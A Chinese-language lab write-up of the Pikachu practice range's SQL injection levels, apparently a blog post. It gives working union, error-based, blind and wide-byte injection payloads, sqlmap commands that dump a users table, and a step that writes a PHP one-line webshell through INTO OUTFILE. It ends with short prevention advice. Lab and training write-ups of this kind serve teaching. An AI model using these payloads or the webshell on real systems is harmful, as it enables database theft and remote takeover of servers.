Pikachu靶场通关笔记--Sql Inject(SQL注入)

在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!

SQL Inject 漏洞攻击流程

第一步:注入点探测
自动方式:使用web漏洞扫描工具,自动进行注入点发现
手动方式:手工构造sq| inject测试语句进行注入点发现
第二步:信息获取
通过注入点获得希望获得的数据,这些数据包括:
数据库类型,数据库版本,操作系统版本,用户信息,数据库名称,数据库表,表字段,字段内容(加密内容破解)等
第三步:获取权限
获取操作系统权限:通过数据库执行shell,上传木马

根据注入点传参的类型分为数字型、字符型、搜索型等

user_ id= $id  #数字型

user. id= '$id'  #字符型

text LIKE '%{$_ GET['search']}%' "    #搜索型

数字型注入(Post)

输入1,查询,我们发现id并没有在url中传参,判断传参类型是post。

判断这里执行的查询语句大概为:select 字段1,字段2 from 表名 where id = 1

抓包发送到重发器中测试,修改参数内容为 1 and 1=1,发现正常返回查询1的数据

修改为 1 and 1=2 ,发现报错id不存在,由此可以判断and后的数据同时被执行了

 这种情况可以构造payload    1  union select 1,2#  尝试,发现有两处回显

 判断数据库名  1 union select 1,database()#  得到数据库名pikachu

判断表,输入1 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()#

获得 httpinfo,member,message,users,xssbli这5个表名

针对查询数据库中的信息,可以继续做更多的操作,去查询到更多的信息,这里不多做赘述。

字符型注入(get)

随便输入内容,发现返回我们输入的用户不存在,但是输入的内容通过url传参,可以判断传参方式是get

 由于是字符型,我们猜测查询语句可能是:

select 字段1,字段2 from 表名 where username = '用户名';

针对这样的语句,我们尝试闭合引号去构造payload,用#注释掉后边的内容:

a' or 1=1 #   

查询更多内容可以通过联合查询等爆出数据库中的信息。后边会对联合查询和爆库做一个详细说明。

搜索型注入 

搜索k可以看到查询到了包含k的信息,搜索内容在url中显示,可以判断属于get传参,猜测所执行的查询语句可能是:

select from 表名 where username like ' %k% ';

 这次不光要闭合引号,还要闭合%号,尝试构造payload:

a%' or 1=1 #   

成功执行 ,要查询更多内容,可自行拼接尝试。

xx型注入

嘛叫叉叉型注入呢?看看提示闭合闭合再闭合,真是顽皮。

 去看一眼源码吧,看看我们需要闭合什么,可以看到参数通过Get的方式传参,执行的sql语句中有引号,有括号

 那就把引号和括号都闭合掉,构造payload:

a') or 1=1 #

 

成功执行 ,要查询更多内容,可自行拼接查询。

补:sql注入union联合查询以及通过information_ schema拿下数据库

union联合查询:可以通过联合查询来查询指定的数据
用法举例:

select username,password from user where id=1 union select 字段1 ,字段2 from 表名

联合查询的字段数需要和主查询一致

打开字符型注入,想要判断查询有几列字段数,通过order by 来判断,输入:

a' order by 5#

 执行sql查询报错,依次往下直到2时,只是报错没有该用户,这就意味着主键查询中只有两个字段

 尝试构造union联合查询语句,查询当前数据库名,当前用户:

a' union select database(),user();#

 还可以查询到数据库版本,数据库版本为8.0.12

a' union select 1,version()#

 当知道数据库名称后,可以通过information_ schema去获取数据。通过union联合查询,然后通过information_ schema去获取pikachu一共有多少个表,表的名称是什么。payload如下:

a' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#

爆出pikachu数据库下的表名,我们发现有个表名叫做users针对users表继续查询,payload如下:

a' union select table_name,column_name from information_schema.columns where table_name='users'#

爆出了这么多的列名,其中有username列和password列,我们想查询到用户名和密码就很简单了

a' union select username,password from users#

 

爆出了用户名和密码,密码是通过MD5加密的,通过解密可以获得明文密码。

 “select/insert/update/delete”注入

在mysql中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。
select/insert/update/delete都可以使用报错来获取信息。

基于报错的信息获取————三个常用的用来报错的函数:
updatexml():函数是MySQL对XML文档数据进行查询和修改的XPATH函数。
extractvalue():函数也是MySQL对XML文档数据进行查询和修改的XPATH函数。
floor():MYSQL中用来取整的函数。


updatexml()函数作用:改变(查找并替换)XML文档中符合条件的节点的值。
语法:

UPDATEXML(xml document,XPathstring,new_value)

第一个参数: fiedname是String格式,为表中的字段名。
第二个参数: XPathstring (Xpath格式的字符串)。
第三个参数: new. value,String格式,替换查找到的符合条件的

Xpath定位必须有效,否则会发生错误。

extractvalue()函数作用:从目标XML中返回包含所查询值的字符串。
语法:

ExtractValue(xm| _document, xpath. string)

第一个参数: XML document是String格式,为XML文档对象的名称,文中为Doc
第二个参数: XPath_ string (Xpath格式的字符串)

Xpath定位必须有效,否则会发生错误。

打开字符型注入,输入payload:

a' and extractvalue(0,concat(0x7e,version()))#

flood()函数

在字符型中输入payload得到版本号。(本人环境问题未解决,不做演示)

kobe' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#

select

用字符型注入做演示,首先我们应该判断有没有报错会在前端显示。我们输入单引号,发现注入报错。

使用updateexml()函数构造一个报错:

a' and updatexml(1,version(),0)#

 .12应该是没有完整爆出版本信息,完善下payload:

a' and updatexml(1,concat(0x7e,version()),0)#

 爆出完整数据库版本8.0.12

这里解释下0x7e,在ASCII码表中,0x7e这个十六进制数代表符号~,~这个符号在xpath语法中是不存在的,因此总能报错。同理,肯定也有其他字符是XPATH语法也不支持的,因此也可以使用。

爆出数据库版本以后,version()可替换成我们想要查询的其他信息,比如database():

a' and updatexml(1,concat(0x7e,database()),0)#

 爆出数据库名pikachu,我们再查询表名

a' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#

报错中告诉我们返回的数据多出一条,我们可以用limit限定一下,一条一条的查询表名

a' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#

 limit 0,1 起始位置是0,查询1个,以此类推limit 1,1 起始位置1,查询1个这样查出所有表名,同理,可以查出表中所有列名

a' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0)#

 查出列中字段内容:

a' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#

a' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0)#

 爆出用户名和密码,密码MD5解密获取明文。

insert/update注入

insert注入:

走走走,咱去注册账号咯!

 注册账号的过程是把数据写入到数据库中,猜测后台的mysql语句应该是:

insert into user(name,password,sex,phone,address1,address2) value('xxx',1111,1,2,3,4)

那我们可以在xxx的位置构造我们的注入语句:

xxx' or updatexml(1,concat(0x7e,database()),0) or '

得到数据库名,思路一样,替换database(),可以查询到其他想要的内容。

update注入:

需要先注册账号并登录,登陆后看到可以修改个人信息。

这里发现一个问题,个人信息的内容不显示,修改时也不显示,根据报错提示到路径下sqli_mem.php,把第66行中MYSQL_ASSOC修改为MYSQLI_ASSOC  保存文件刷新网页sqli_edit.php,把第75行中MYSQL_ASSOC修改为MYSQLI_ASSOC  保存文件刷新网页即可。

 原因:本人环境是php7.3.4,在php7中,MYSQL_ASSOC不再是一个常量,将 MYSQL_ASSOC改MYSQLI_ASSOC,意思是mysqli的方式提取数组,而不再是mysql 。(mysql_fetch_arrayhan函数转为mysqli_fetch_array,参数没有修改)

问题解决,让我们继续,修改个人信息的过程就是把数据更新到数据库中,猜测sql语句可能是

update 表名 set sex='' , phone='',...... where  name='kaihuang'

通过insert注入时使用的payload,爆出数据库名信息。

a' or updatexml(1,concat(0x7e,database()),0) or '

 继续查询,替换database()即可。

delete注入

 先在留言板上留言SB,打开burpsuite抓包,点击删除,将其发送到Repeater,构造payload

1+or+updatexml(1,concat(0x7e,database()),0)

替换id的值,爆出数据库名称。 

http-header注入

什么时http-header注入?有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证)
或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等等。
服务端对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑,则可能会导致基于http header的SQL Inject漏洞。
 

根据提示,获得账号密码,登录账号。

 后端对http头部信息做了sql处理,我们使用brupsuite抓包看看。

 发送给重发器,清空User-Agent:字段,放入一个单引号,发送出去,可以看到响应包中有sql报错

判断有sql注入,构造payload尝试:

firefox' or updatexml(1,concat(0x7e,database()),0) or '

响应包中,带回了查询结果,爆出数据库名。

SQL注入漏洞-盲注( boolian base )

什么是盲注?
在有些情况下,后台使用了错误消息屏蔽方法(比如@ )屏蔽了报错
此时无法在根据报错信息来进行注入的判断。
这种情况下的注入,称为“盲注"
根据表现形式的不同,盲注又分为based boolean和based time两种类型

基于boolean的盲注主要表现症状:

1.无报错信息
2.不管是正确的输入,还是错误的输入,都只显示两种不同的情况
3.在正确的输入下,输入and 1= 1/and 1= 2发现可以判断

打开布尔盲注页面

输入: kobe' and 1=1#

发现正常回显。

输入: kobe' and 1=2#

 

会报username不存在

输入:

kobe' and ascii(substr(database(),1,1))=111#

 

不存在。

输入:

kobe' and ascii(substr(database(),1,1))=112#

返回正常,这样我们可以判断数据库名称第一个字的ascll码为112,应该为p以此类推,得到完整数据库名。

手工检测太慢,尤其后边爆表和字段的时候,建议编写poc脚本跑,很快就能跑出结果 。

SQL注入漏洞盲注( time base )

boolean盲注,在页面上最起码还可以看到回显,基于time的盲注完全什么都看不到。但是还可以通过一个条件判断逻辑值,就是“时间”, 通过特定的输入,判断后台执行的时间,从而确认是否注入。

 Payload:    kobe’ and sleep(5)#
输入: kobe   显示页面响应时间只有23毫秒

 输入: kobe' and sleep(5)#

  可以看到页面响应时间是5027毫秒,大概5秒多点,是大于5秒的

这样的话我们可以构造条件判断的payload,我们判断条件为真时执行页面延迟响应,条件判断为假时,无延迟响应。

kobe' and if((substr(database(),1,1))='p',sleep(5),0)#

页面返回延迟超过5秒,得出数据库名第一个字母是p,反之不是。

宽字节注入

宽字节SQL注入主要是源于程序员设置数据库编码为非英文编码那么就有可能产生宽字节注入 。 例如说MySql的编码设置为了SET NAMES 'gbk’或是 SET character_set_client =gbk,这样配置会引发编码转换从而导致的注入漏洞。

转义函数有addslashes,mysql_real_escape_string,mysql_escape_string等函数,对输入'进行了转义\'

在pikachu靶场是使用了addslashes()函数,这个函数对这些进行了转义:

单引号(’),双引号("),反斜杠(/),null

输入内容后,开始抓包,查询,抓包内容发送给重发器。

 替换name的值为 1' union select 1,2#

响应包中返回不存在,说明进行了过滤。

替换name的值为 1%df' or 1=1#

 发现注入成功。

补充知识:

为什么用%df

不一定使用%df,但前一个字节ascii码要大于128才到汉字的范围。

逃逸过程:

php.ini中有一个get_magic_quotes_gpc功能,在开启时所有的 ' (单引号), " (双引号), \ (反斜线) and 空字符会自动加上转义符\。

以'单引号为例,如何使\'中的'逃逸出来:

?id=1%df' and 1=1--+
%df'=>%df\'(单引号会被加上转义字符\)

%df\'=>%df%5c'(\的十六进制为%5c)

%df%5c'=>縗'(当数据库使用GBK编码时会认为这时一个宽字节)

'成功逃逸,sql语法正确

sqlmap中同时也存在宽字节绕过的脚本unmagicquotes.py,使用方式如下

sqlmap -u "ip" --tamper="unmagicquotes.py" --batch
 

补充:重头戏--os远程控制

sql注入不光能获取到数据库的信息,还可以使用数据库创建一句话木马,拿到webshell,实现远程控制的目的。

一句话木马
一句话木马是一种短小而精悍的木马客户端,隐蔽性好,且功能强大。
PHP: < ?php @eval($_ POST’chopper’]);?>
ASP: < %eval request(" chopper")%>
ASP.NET: <%@ Page Language= Jscript" %> <%eval(Request.Item"chopper"], "unsafe );%>

select 1,2 into outfile “/var/www/html/1.txt”
into outfile 将select的结果写入到指定目录的1.txt中
在一些没有回显的注入中可以使用into outfile将结果写入到指定文件,然后访问获取
前提条件:
1.需要知道远程目录
2.需要远程目录有写权限
3.需要数据库开启了secure_ file_ priv

字符型注入:写入php一句话木马并保存到指定目录下,路径通过双写\\来起到绕过转义的作用

kobe' union select "<?php  @eval($_POST['123']);  ?>",2 into outfile "D:\\phpstudy_pro\\WWW\\pikachu-master\\1.php"#

 报错是因为查询没有返回值,但是不影响文件写入。

  启动蚁剑连接我们的一句话木马。

 

成功进入网站后台。

补充:重头戏--sqlmap自动化sql注入

还是以字符型为例,拿出他的url到sqlmap中。

寻找注入点用法:sqlmap -u "URL"

 -u "http://192.168.1.157/pikachu-master/vul/sqli/sqli_str.php?name=123&submit=%E6%9F%A5%E8%AF%A2"

 爆出注入点name并给出参考payload

查询数据库名用法:sqlmap -u"URL" --current-db

-u  "http://192.168.1.157/pikachu-master/vul/sqli/sqli_str.php?name=123&submit=%E6%9F%A5%E8%AF%A2" --current-db

爆出数据库名 pikachu

查询数据库名为pikachu的所有表名用法:sqlmap -u "URL" -D 数据库名 --tables

 -u  "http://192.168.1.157/pikachu-master/vul/sqli/sqli_str.php?name=123&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables

爆出5张表表名 

 查询users表中字段名称用法:sqlmap -u "URL"  -D 数据库名 -T 表名 --columns

 -u  "http://192.168.1.157/pikachu-master/vul/sqli/sqli_str.php?name=123&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns

 表中共有四个字段

查询password字段和username字段中的内容

用法:sqlmap -u "URL" -D 数据库名 -T 表名 -C 字段1,字段2 --dump

 -u  "http://192.168.1.157/pikachu-master/vul/sqli/sqli_str.php?name=123&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users -C username,password --dump

 得到用户名和密码,密码MD5加密,括号中有碰撞解密的明文密码。

小结:sql注入的防范

大概能分两个方面做sql注入的防范

第一是代码层面
1.要对用户输入的内容进行严格的转义和过滤
2.使用预处理和参数化 ( Parameterized )
第二是网路层面
1.通过WAF设备启用防SQL Inject注入策略(或类似防护系统)
2.云端防护( 360网站卫士,阿里云盾等)

  • 2
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值